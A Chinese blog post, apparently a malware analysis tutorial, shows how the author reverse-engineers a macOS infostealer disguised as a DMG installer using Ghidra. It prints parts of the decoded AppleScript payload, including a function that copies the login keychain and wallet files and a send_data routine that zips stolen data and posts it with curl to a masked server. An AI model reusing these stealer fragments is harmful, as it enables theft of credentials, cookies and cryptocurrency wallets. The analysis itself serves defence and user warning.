在清明小长假的一天,我接到一个朋友的电话。他误下载并执行了一个恶意软件,询问我接下来该怎么办:

我点击安装,弹出了一个终端,我还没有看清终端里的字,它就闪退了。我不信邪,就又点了一次安装....

很好,没救了。听完他的描述,我默默地说「改密码吧,重装系统吧。」

介于他「死」也要「死」的明白的需求,让我们一起借助 Ghidra 看看一个恶意软件在我们的电脑里都悄悄咪咪做了什么。

背景知识引入 📚

这里先简单介绍一下逆向工程和 Ghidra。

逆向工程 🛠️

逆向工程是相对于传统的正向工程来定义的。传统的软件正向工程主要为实现软件开发过程,目标是开发出符合开发者意图的产品供用户使用。

想象一下,你手里有一台魔法盒子(也就是一款软件),这个盒子能做很多神奇的事情。但是,你不仅仅满足于它能做什么,你还想知道它是怎么做到的。这时候,逆向工程就登场了!

软件逆向工程的操作对象是各类软件而且是各类已经编译好能够执行的二进制文件,通过逆推软件动态的执行过程来探索软件代码内部逻辑。

具体来说,逆向工程的对象是那些已经完成并且可以运行的软件程序。你可以把它看作是一本书的最终稿。逆向工程的高手们会试图通过各种技巧,比如「静态反编译」(就像是把书的每一页详细研究一遍,看看作者是如何组织故事的)和「动态调试」(这更像是看书时偶尔翻到书的某个章节,试图理解故事发展的逻辑)来探索这些软件的内部逻辑。

Ghidra 🐉

Ghidra 是由美国国家安全局(NSA)开发并在 2019 年开源的一款软件逆向工程工具。它是一个软件逆向分析框架,包含了一系列的组件和库,用于对编译后的代码进行分析。它的优点有很多:

  • 开源且免费的(包括其反编译器)
  • 支持很多处理器架构
  • 可以在一个项目中同时加载多个二进制文件

提取恶意软件 ☠️

恶意软件的马甲 👣

恶意软件伪装成一个 DMG 格式的文件。当你打开这个文件,里面会弹出一个安装向导,看起来一切都很正常对吧?但别急着点击安装!这个文件是个冒牌货,其实是恶意软件假扮的。如果不小心点击了安装,这个恶意软件就会被激活,它会开始偷偷地干一些坏事 😱。

伪装成普通软件的恶意软件

冒险者的挂载之旅 🧙

想象你是一位冒险家,在 Mac 电脑的广阔世界中进行探索。你最近接到的委托是调查一个小偷的犯罪计划书。小偷将这个计划书藏在了一个邪恶宝箱 📦 里。这个宝箱就是本文中的伪装成了 DMG 格式的恶意软件。

首先,你需要使用一种特殊的魔法咒语来打开这个宝箱,这个咒语叫做 hdiutil attach。在你的 Mac 电脑上打开「终端」——这是一个可以让你与电脑深层对话的神奇工具。在终端里,你输入这个咒语,并告诉它你要打开的DMG文件的位置。

当你正确地使用这个咒语后,这个 DMG 文件就像是被魔法打开了,变成了一个新的地方,名叫 /Volumes/AppleApp/。这个地方就是这个 DMG 文件里的内容现在所在的位置,你可以把它想象成一个虚拟的小房间或盒子,你的电脑帮你创建了一个入口,让你可以进入。

接下来,你要使用另一个命令 cd 来走进这个新地方。cd 命令就像是「走到……那里」的意思。在终端中输入 cd /Volumes/AppleApp/,你的电脑就会带你进入这个新创建的地方。

当你进入这个地方后,你会发现里面有一个名叫 AppleApp 的文件。这就像是你在这个虚拟房间中发现了一个标记着名字的盒子。现在,你已经成功地找到了这个盒子,接下来的冒险就是打开它,从它里面取出犯罪计划书。

挂载恶意软件

使用魔法放大镜观察 AppleApp 🔍

面对虚拟房间中这个盒子,冒险家怎么会束手无策呢。你拿出了一把魔法放大镜,对准这个神秘的盒子(也就是我们这里的 AppleApp 文件)时,这把放大镜可以让你看到盒子的内部结构,就像超级英雄电影里的高科技设备一样。使用这把放大镜其实就是在终端中使用了一个叫做 file 的命令,它能帮助你识别出这个文件的「身份」。

当你用这个命令查看 AppleApp 文件时,结果就像是揭开了盒子的秘密。你会发现,这个文件里面藏着两种灵魂或者说两种不同的架构 —— x86_64 和 arm64。这就好比这个犯罪计划书是用双语书写的,一种语言是为老式的 Intel 处理器设计的 Mac 电脑准备的,另一种则是为搭载了 Apple 自家的 M1 芯片或者更新型号的现代 Mac 电脑准备的。

AppleApp (for architecture x86_64): Mach-O 64-bit executable x86_64
AppleApp (for architecture arm64): Mach-O 64-bit executable arm64

 

使用魔法剪刀剪裁出 arm64 架构文件 🪄

委托人只要求拿到 arm64 架构的犯罪计划书(朋友的电脑是 M1 芯片),因此冒险家拿出一把魔法剪刀 ✂️ 精确地剪出 arm64 部分的文件。在这里,这把剪刀是一个叫做 lipo 的命令。

lipo AppleApp -thin arm64 -output AppleApp_arm64

这条命令的意思就是从大文件(AppleApp 文件)中「剪下」 arm64 这一部分,并将它单独保存为一个新的小文件(新文件 AppleApp_arm64)。

现在,你手中有了这份特定犯罪计划书(arm64 架构的文件),但它是被加密过的,接下来的目标是要深入了解它。

作为一名冒险家,你虽然拥有冒险精神,但并不擅长解密。幸运的是,你有一位侦探大师 🕵️ 朋友 。他可以帮助你揭开犯罪计划书(一款名为 AppleApp_arm64 的「恶意软件」的密码)。

Ghidra 开启逆向任务 🔑

好了,你现在就是那名侦探家了。作为一名侦探家,你拥有一个工具箱 🧰 Ghidra。你接收到的侦探任务是解密犯罪计划书(arm64 架构的文件)

首先,你需要为这个侦探任务建立一个新的「案件档案」(项目)。打开 Ghidra,在菜单栏中选择 File > New Project。这就像是在档案柜中开辟了一个新的抽屉,专门用来存放这个新案件的所有证据和分析记录。

创建一个新的 Ghidra 项目

接下来,你需要把这个恶意软件的文件 —— AppleApp_arm64,就像是一份关键的证据——带到这个新建的项目中。在 Ghidra 的菜单栏中选择 File > Import File,然后选择这个文件。这就像是你把一份重要的证据文件正式提交到案件档案中,准备进行深入分析。

将需要被逆向的文件导入 Ghidra 项目

当你导入文件后,Ghidra 自动识别出这个文件是一个 64 位架构的小端 AARCH64 可执行二进制文件。这相当于侦探通过初步观察,确认了证据的基本属性和类型。

识别恶意软件的架构

到此,这个恶意软件已经成功被导入到 Ghidra 中,就像是证据已经被归档并准备好进行详细分析。接下来,你将使用 Ghidra 的各种工具和视图,就像使用放大镜、指纹粉、和其他侦探工具一样,来详细分析这份证据。你将探索这个恶意软件的内部结构,理解它的工作原理,和寻找任何可能的线索,这将帮助你解开这个软件的秘密,理解它是如何设计来执行恶意活动的。

逆向恶意软件 🔦

Ghidra 窗口介绍 🖊️

我们首先来认识一下 Ghidra 的各种视图窗口。

编号 1 对应反汇编视图:这就像是侦探的放大镜。它帮助我们查看证据的最基本细节,即使这些细节是用一种非常技术性的语言(汇编语言)表达的。正如放大镜能让侦探看清楚微小的线索一样,反汇编视图让我们看清楚程序的基础操作。

窗口 2 对应反编译器视图:这可以比作是翻译器或解码器。当侦探拿到一封用密码写的信时,需要一个工具来将其翻译成易懂的语言。反编译器视图正是将复杂的汇编代码「翻译」成更易理解的高级编程语言,如 C/C++或Java。

窗口 3 对应程序树:这类似于侦探的案件文件夹,其中详细记录了案件的各个方面。程序树为我们提供了程序的结构概览,帮助我们快速定位到感兴趣的代码段或功能模块,就像侦探翻查文件夹找到相关证据一样。

窗口 4 对应符号树:这就像是侦探的索引卡片系统。每张卡片上都记录了关键信息,如嫌疑人、地点和证据等。在软件中,符号树帮助我们快速了解程序中的函数、变量和其他元素,使我们能够迅速找到需要深入调查的部分。

窗口 5 对应数据管理器:这可以看作是侦探的证据分类工具。它帮助侦探管理和分类不同类型的证据,确保每件证据都能在调查中发挥作用。在软件逆向工程中,数据管理器帮助我们理解和管理不同的数据类型。

窗口 6 对应脚本的输出窗口:这就像是侦探的实验室,侦探可以在这里测试不同的假设和理论,看看哪些能够帮助解决案件。在软件逆向工程中,通过编写和运行脚本,我们可以测试和修改软件的行为,寻找解决问题的新方法。

每个工具都为侦探(或逆向工程师)提供了解开复杂谜题所需的关键功能。

入口点函数 📍

如果把软件比作一部机器,那么「功能」就像是机器可以做的事情,比如「洗衣机可以洗衣服、烘干衣服」,而「函数」就像是机器内部的各个部件,每个部件负责机器的一个具体操作,比如「水泵帮助注水,电机帮助旋转」。没有这些部件(函数)的协调工作,机器(软件)就无法完成任何功能。

一个机器最重要的部件是「开关」或者说「启动按钮」。同样的,软件中最重要的函数是「入口点函数」

如果你有一个洗衣机,你需要按下「启动按钮」来开始洗衣流程。同样地,在软件中,「入口点函数」就像是告诉计算机「从这里开始执行这个软件」。这个函数通常会进行一些初始化设置,然后调用其他函数来执行软件的具体任务,最终实现软件的整体功能。在很多编程语言中,这个函数通常是名为 main 或者entry的函数。

如果你是一个工程师,想要了解这台洗衣机的内部结构和工作原理,你会从「启动按钮」开始。一旦你按下这个按钮,你可以观察洗衣机启动后做了什么:它首先是注水,然后开始转动滚筒,加热水,最后排水和烘干。

同样,在软件逆向工程中,「入口点函数」就像是这个「启动按钮」。通过找到并分析这个函数,逆向工程师可以看到软件启动后首先做了什么,然后跟踪调用了哪些其他函数,这些函数又做了什么。这有助于逆向工程师理解软件的整体结构和各个部分是如何协作的,就像分析洗衣程序的各个步骤一样。

回到我们的逆向任务里,在 Symbol Tree 中的 Function 中查找 entry 函数,这是入口点函数。

寻找入口点函数

其对应的反编译代码如下所示。为了方便阅读,我已经对其中一些变量进行重命名,并对关键语句进行注释。

只要具备一些 C/C++ 背景,这段代码是非常好懂的。其中

"osascript -e \'tell application \"Terminal\" to close first window\' & exit"

非常具有恶意软件的反派气质 🦹。很多恶意软件通过关闭终端来隐藏其活动或清理其痕迹

这段代码的主要目的有两点:

  • 在子进程中关闭「终端」(Terminal)的第一个窗口以隐藏其行为
  • 在子进程中创建一个新线程来执行恶意任务(由 malTask 函数实现)

恶意流程 🧿

Ghidra 为我们呈现出来的  malTask 如下所示:

原始 MalTask 函数

其中有四个名称非常长的函数:

__Z10hex_decodePKc
__ZNKSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE20__throw_length_errorEv(&local_48);
__ZNSt3__1plIcNS_11char_traitsIcEENS_9allocatorIcEEEENS_12basic_stringIT_T0_T1_EEPKS6_RKS9_(&local_78,"osascript -e \'",&local_48);
__ZNKSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE20__throw_length_errorEv(&local_60);
__ZNSt3__112basic_stringIcNS_11char_traitsIcEENS_9allocatorIcEEE6appendEPKcm(&local_60,&DAT_100007f51,1);

这些函数名称是由 C++ 的名字修饰(Name Mangling)机制生成的,它用于在编译时将 C++ 代码中的函数名、参数类型等信息编码到生成的二进制文件中。这样做的目的是为了支持 C++ 的函数重载等特性。

想象一下,你是一名考古学家,正在挖掘一个古老的文明遗址。在这个遗址中,你发现了一种特殊的象形文字,这就是我们所说的 C++ 的名字修饰(Name Mangling)。这种象形文字初看起来像是一堆难以解读的符号,但实际上每一个符号都蕴含了丰富的信息,比如历史人物的名字、事件的时间等。这些信息对于未经训练的眼睛来说可能难以识别,但对于经验丰富的考古学家来说,它们却能揭示出古文明的复杂性和精细之处。

为了揭开这些函数名称的神秘面纱,我们使用一个特殊的解码器,也就是在线 C++ demangler 工具。这个工具可以把那些复杂的名字转换成我们能理解的普通语言。比如,一个看似复杂的函数名 __Z10hex_decodePKc 被翻译成了 char* hex_decode(const char*),这告诉我们这个函数接受一个字符指针作为输入,返回一个字符指针。

还需要对自动生成的一些变量和函数名进行重新命名,这样可以帮助我们更清晰地看到事情的全貌。

比如,第二个函数属于 C++ 标准库中的字符串处理部分。函数的作用是抛出一个长度错误,可以将其重命名为 throwLengthError

第三个函数是用于连接两个字符串对象。正确调用形式如下:

local_78 = "osascript -e \'" + local_48

第四个函数与第二个函数一致。

第五个函数是向字符串的末尾添加字符。具体到这个函数,它接受两个参数:一个指向要添加的字符串指针;以及要添加的字符数量。正确调用形式如下:

local_60.append(&DAT_100007f51, 1);

在人工进行粗略分析之后,对反编译窗口中自动生成的变量和函数进行重命名。这一步很重要,能帮助我们更好的理解代码逻辑。

重命名后的 malTask 函数

分析恶意软件是一项耗时的工作,不要浪费时间在细枝末节上。再梳理完整段代码,关键函数部分如下:

malware = (char *)hex_decode(hexcode);   

concatenateString(&mal_script,"osascript -e \'",&local_48);

uVar2 = _system((char *)ptr);

让我们来一起揭露这个恶意软件的恶行:

  1. 首先使用了 hex_decode 这个函数,它解码了一串神秘的代码 hexcode,这些代码可能是用来执行恶意行为的。
  2. 然后,将解码后的内容与一段命令 osascript -e ' 结合起来。这是一个用于在 Mac 电脑上执行脚本的命令,这样就形成了一个完整的恶意命令。
  3. 最后,用一个叫做 _system 的函数执行了这个命令,这就像是按下了启动犯罪计划的按钮。

核心恶意行为 🎯

虽然到目前为止,我们已经了解了恶意软件的大致流程。但恶意软件的核心部分——神秘代码 hexcode,我们尚未清楚。

这就好比,在破解小偷犯罪计划书的侦探任务里,我们虽然已经对计划书进行了初步的破解,但是计划书的核心部分,如「犯罪目标 XXX,犯罪时间 XXX」仍然是一片迷雾。

在我们的逆向任务里,恶意软件(「电子小偷」)也将它最核心的恶意行为,比如「发送一些重要的信息到某个地方」,用一种叫做「十六进制编码」的方法,写成一串看起来无意义的数字和字母。

例如,原本的恶意行为可能是这样的:「把这个重要文件发送到这个地址」。但是通过十六进制编码,它变成了一串看起来像是乱码的文本。这样一来,即使有人偶然看到这些代码,也很难理解它们的真正意图。恶意软件在执行这个秘密计划之前,会先用一个「解码器」(本文中的hex_decode)把这些看似乱码的文本转换回原来的形式,确保计划能够顺利进行。

回到我们的恶意软件中,如下所示,是「十六进制编码」后的恶意行为

十六进制编码后的恶意代码

恶意行为是用一种奇怪的符号(「十六进制编码」)写的。这些符号看起来像是随机的数字和字母,但其实每一组符号都代表了不同的字符。这时候,需要用一个「解码器」来把这些符号转换成可读的文字或者指令。

很简单,这里的「解码器」就是一个十六进制解码器。将编码为十六进制的数据根据 ASCII 编码表进行的转换,转换回其原始字符的过程,而原始的数据就是真正的恶意代码

ASCII(American Standard Code for Information Interchange,美国信息交换标准代码)是一种字符编码标准,用于表示文本在计算机、通讯设备和其他使用文本的设备中。它主要用于显示现代英语和其他西欧语言。

ASCII 编码将每个字符映射到一个从 0 到 127 的数字。例如,十六进制的 61 转换为十进制是 97,而在 ASCII 编码中,97 对应于小写的 'a'。这种编码方式广泛用于计算机科学和数据处理领域,因为它简单且广泛支持。

比如,上图中的 6f 6e 20 6d 6b 64 69 72 28 73 6f 6d 65 49 74 65 6d 29 0 等同于 on mkdir(someItem)。这里,每个十六进制数都对应一个字符,比如 6f 对应字母 o,最后一个 0 表示一个空字符,在字符串的编码中用作终止符。

如下所示,这就是恶意软件最终的目的!

恶意脚本

在这个恶意脚本里面定义了很多函数,我已经对其中一些辅助函数的功能进行了注释。下面,我将简要介绍一下函数。

收集系统信息:userinfo 函数

on userinfo(writemind)
	try
		set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
		writeText(result, writemind & "user")
	end try
end userinfo

收集 Mac 电脑的软件、硬件和显示器信息。

收集系统信息:

  • 使用 system_profiler 命令来获取系统信息。system_profiler 是一个强大的命令行工具,用于显示关于 Mac 系统的详细配置和硬件信息。
  • SPSoftwareDataTypeSPHardwareDataTypeSPDisplaysDataType 是指定给 system_profiler 的参数,分别表示收集关于系统软件、硬件以及显示设备的信息。

存储系统信息:

  • system_profiler 命令的输出存储在变量 result 中。
  • 使用 writeText 函数将 result 的内容写入到文件中。目标文件路径由 writemind 和字符串 "user" 组合而成,从而形成完整的文件路径(例如,如果 writemind/tmp/xuyna/,则文件路径将是 /tmp/xuyna/user)。

复制桌面数据:deskwallets 函数

收集 Mac 电脑多种类型的加密货币钱包数据。具体的钱包数据类型和路径存储在 walletMap  变量中,包括:

  • Electrum:是一个比特币钱包。
  • Coinomi:是支持多种加密货币的钱包。
  • Exodus:是一个用户友好的多加密货币钱包。
  • Atomic:是支持多种加密货币的钱包。
  • Wasabi:是一个注重隐私的比特币钱包。
  • Ledger Live:是硬件钱包 Ledger 的官方桌面应用程序。
  • Feather:是 Monero(一种加密货币)的轻量级钱包。

文件收集器:filegrabber 函数

收集 Safari 浏览器的 Cookies、Apple 备忘录的数据库文件、桌面目录下的文件和文档目录下文件。

处理基于 Chromium 的浏览器的数据:chromium 函数

针对 Chromium 系列浏览器(如 Chrome、Brave、Edge 等)并从这些配置文件中提取特定的数据,如 Cookies、登录数据、网站数据等。

解析Firefox数据:parseFF 函数

收集 Firefox 浏览器的用户数据。

获取密码:getpwd 函数

收集密码信息。这个函数的行为涉及到两种情况:尝试从系统中直接提取密码,如果失败,则提示用户输入密码。

收集用户的个人数据

如下两行代码调用自定义的 readwrite 函数收集用户个人信息。

readwrite(library & "Binance/app-store.json", writemind & "deskwallets/Binance/app-store.json")
readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "keychain")
  • library 变量指向用户的「Application Support」目录(如「/Users/username/Library/Application Support/」),
  • 「Binance/app-store.json」是 Binance 应用的一个配置或数据文件
  • profile 变量指向用户的个人目录(如「Users/username」),
  • 「/Library/Keychains/login.keychain-db」是 macOS 的关键链数据库文件,通常包含用户的密码和其他敏感的认证信息。

发送数据:send_data  函数

该函数用于将收集到的数据打包并发送到远程服务器。

on send_data(writemind, uuid, userme)
	do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/out.zip"
	do shell script ("curl -X POST -H \"uuid: " & uuid & "\" -H \"user: " & userme & "\" --data-binary @/tmp/out.zip http://*.*.*.*:443/p2p")
	do shell script "rm -r " & writemind
	do shell script "rm /tmp/out.zip"
end send_data
  • 使用 ditto 命令压缩 writemind 目录到 /tmp/out.zipditto 是一个 MacOS 命令行工具,用于复制文件和目录,这里用于创建zip压缩文件。
  • 使用curl命令通过HTTP POST请求发送压缩文件到指定的服务器地址(http://*.*.*.*:443/p2p),同时附带 uuiduserme 作为 HTTP 头部信息。
  • 删除 writemind  目录和 /tmp/out.zip  文件,清理痕迹。

总而言之,上述代码的目的是在不引起用户注意的情况下,悄悄收集用户的个人信息、浏览器数据、文件等,在 send_data 中将这些信息发送到攻击者控制的服务器。

恶意软件窃取的信息

到此为止,我们的解析过程就结束了。

小结 🎗️

当我把解析出来的恶意代码脚本发送给我的朋友后,朋友看到一半就啪给关了,美其名曰「越看心越凉,不如当鸵鸟 🐦。」

在我们这个日益数字化的世界中,恶意软件已经成为一种越来越普遍的威胁,它不仅威胁到个人的数据安全,也对企业和国家的安全构成了严重的挑战。我希望通过这篇文章,提醒大家,在日常生活中要保持警惕,恶意软件无处不在,法外狂徒四处横行。不要随意点击不明链接或下载来源不明的文件,这些都是恶意软件常见的传播途径。

> 下载少数派 客户端、关注 少数派小红书,感受精彩数字生活 🍃

> 实用、好用的 正版软件,少数派为你呈现 🚀